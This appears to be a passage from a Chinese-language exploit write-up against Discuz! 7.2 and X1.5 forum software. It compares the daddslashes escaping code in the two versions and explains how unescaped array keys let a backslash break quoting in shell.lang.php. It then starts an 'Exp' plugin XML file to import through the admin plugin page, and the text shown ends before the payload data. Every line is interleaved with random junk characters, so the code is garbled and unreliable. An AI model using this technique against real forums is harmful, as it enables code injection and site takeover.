- R# W+ D/ p6 @/ [function daddslashes($string, $force = 0) {
) k, O0 d) ?( u" [6 W- A( \* ]* F02
6 Z3 d( J. i/ a$ P* X" Q! w !defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
* ~% ?% m4 p7 P8 N034 x" }7 O& b/ H. x4 a- J0 F' k
if(!MAGIC_QUOTES_GPC || $force) {( [% \+ I! ]" y; k$ @: f
04
i+ M! T4 ?9 h" Z. t; {6 C3 J if(is_array($string)) {
" [$ O" R4 @: X# E054 P) m2 Z5 Y* Y2 C+ k9 b& c
foreach($string as $key => $val) {
8 \0 k) A& H+ V. U06& e5 B( m# v7 n- f& _+ U! |5 i
$string[$key] = daddslashes($val, $force);* X1 J, l2 L" _. ]) {2 ?
07
$ W4 r# p; d4 A9 b" H }
' \& [9 P4 k4 w2 `08! G/ U6 D. Y0 \4 T7 B# `. w
} else {
. n3 N. q# b/ m091 b2 b* a8 v7 ^7 Z& }2 F( Y
$string = addslashes($string);
/ l, \5 N$ i( ? R( d6 i* S- P101 z; H# m3 ~ G0 d
}( `( F5 d$ ^2 b7 M. V
11
7 O" \$ {/ \2 _ }
' e, q2 @/ ~8 N4 X12
% |9 |! m' O6 y7 p* C' [' \+ o1 X return $string;
1 v, }& E6 O* B7 `4 U: T8 l* i3 y13) D: C5 C. o6 V$ Q1 h7 \0 P; D
}
, b2 Y/ |' Z5 t) QX1.5, e: X0 S* z4 p4 O1 d) f
01
: h% q2 ?$ J& M7 w# r/ [0 r9 z6 m9 Bfunction daddslashes($string, $force = 1) { u6 S2 a7 w% a
02 v4 {' H7 [9 I7 P; G9 b
if(is_array($string)) {
9 {2 u7 I8 B% j4 t039 V; V5 C6 @- I
foreach($string as $key => $val) {
" r6 a/ U' o9 e2 s04
: c5 L* C+ W& O, Q7 G! R unset($string[$key]);
" J R4 y; L2 p' q05; S/ p0 \0 U, j a( k
//过滤了key' h: z1 {) d" C. Z8 N
06' h7 O* z: D& X( x
$string[addslashes($key)] = daddslashes($val, $force);% ?3 t7 a5 i: a; T
07
! ^0 r/ L. s3 ~7 D }
% h. I& ~8 a& h& j5 Q. T08! |2 y6 L4 _3 a) S) N: T
} else {/ R$ |! d0 ?* Y3 f* h& u; y
09
8 i) M" `, g b; r $string = addslashes($string);! y% D, J/ W5 h. M* V
10. s" ~$ q. f# m) O5 K3 k
}1 B5 V* v4 ^# J2 a. u) f( g6 W' m
11
! Z5 S% J1 K% P7 ? S9 f return $string;
* s8 u6 j8 |$ [* C. \: \' R. [/ b12
+ g3 |! B4 ?( O: G9 l7 a, I( a- w}5 G7 G' Z7 I: y2 R; u2 R3 g
还是看下shell.lang.php的文件格式.
( I+ i& }2 n9 Z+ }, b11 Z1 K* x N8 x! c
<?php$ z( z5 R; i* N+ u5 J! J
2
& N: |' _" z: Y$scriptlang['shell'] = array($ _5 a" N+ l5 P
3. R: s }* s* D' c5 l5 {1 [
'a' => '1',
, i+ {+ A$ Y F9 U `) X8 \" ]42 o$ T+ E! D$ N; g
'b' => '2',9 N. l$ g% m6 V8 N! l3 I8 {9 y, G2 s
5! K- c- D6 y- Q, e. T: A: ^
);% |# w6 s# c8 v4 ~1 G! c/ {
6% |9 V W+ k$ q$ b V# b9 H8 u
' r/ F y2 X a0 z, J8 y$ c- J
7% ~! m1 L' l; Q3 n
?>
! [$ i& g" {- v; j7.2版本没有过滤Key,所以直接用\废掉单引号.5 |% _4 v) {( s2 g1 R+ g! O
X1.5,单引号转义后变为\',再被替换一次',还是留下了\
+ n4 I' y% y8 Y$ |0 H6 J1 h. J+ m# [: _5 E! _/ e6 j
而$v在两个版本中过滤相同,比较通用.' M9 K1 C- t% f
8 M: f( e/ `9 [) B; c \X1.5至少副站长才可以管理后台,虽然看不到插件选项,但是可以直接访问/admin.php?frames=yes&action=plugins添加插件$ T- { J H: Y& {7 V' f7 ~! p
# C3 j0 ` C) N$v通用Exp: {7 l" a6 @* _1 H) j
01
3 B# o. z- p1 C" s* g s$ W<?xml version="1.0" encoding="ISO-8859-1"?>
5 Z) \5 l- I" G7 J020 z. Z; U3 c! Y+ ?
<root>2 X+ d9 S* w& q1 P+ K
037 b2 l$ Y7 i( S
<item id="Title"><![CDATA[Discuz! Plugin]]></item>0 o4 n- i6 C5 ~ M
04
+ A8 `+ b4 v9 x) f <item id="Version"><![CDATA[7.2]]></item> U) [4 ]) c+ P0 D8 p" d& e' b
05
: p3 t1 F8 Y4 S5 t+ n <item id="Time"><![CDATA[2011-03-16 15:57]]></item>
% ?% U' ~! e" ?8 D; S: g1 f06
9 |( {3 u* x$ }: u5 v <item id="From"><![CDATA[Discuz! Board (http://localhost/Discuz_7.2_SC_UTF8/upload/)]]></item>
0 c/ H/ H0 ~8 C) b/ x6 c% x077 N C! C5 F) @) n5 }6 F4 {5 a, L
<item id="Data">3 A0 X' \# s& f& F+ K
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